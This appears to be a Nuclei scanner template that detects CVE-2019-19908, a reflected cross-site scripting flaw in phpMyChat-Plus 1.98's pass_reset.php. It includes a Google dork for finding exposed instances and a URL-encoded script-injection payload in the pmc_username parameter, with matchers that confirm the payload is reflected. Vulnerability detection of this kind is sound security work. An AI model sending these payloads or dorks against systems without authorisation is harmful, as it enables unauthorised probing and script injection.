id: CVE-2019-19908

info:
  name: phpMyChat-Plus 1.98 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: |
    phpMyChat-Plus 1.98 contains a cross-site scripting vulnerability via pmc_username parameter of pass_reset.php in password reset URL.
  remediation: |
    Upgrade to a patched version of phpMyChat-Plus or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://cinzinga.github.io/CVE-2019-19908/
    - http://ciprianmp.com/
    - https://sourceforge.net/projects/phpmychat/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19908
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-19908
    cwe-id: CWE-79
    epss-score: 0.00673
    epss-percentile: 0.77534
    cpe: cpe:2.3:a:ciprianmp:phpmychat-plus:1.98:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ciprianmp
    product: phpmychat-plus
    google-query: inurl:"/plus/pass_reset.php"
  tags: cve,cve2019,phpMyChat,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/plus/pass_reset.php?L=english&pmc_username=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'username = "</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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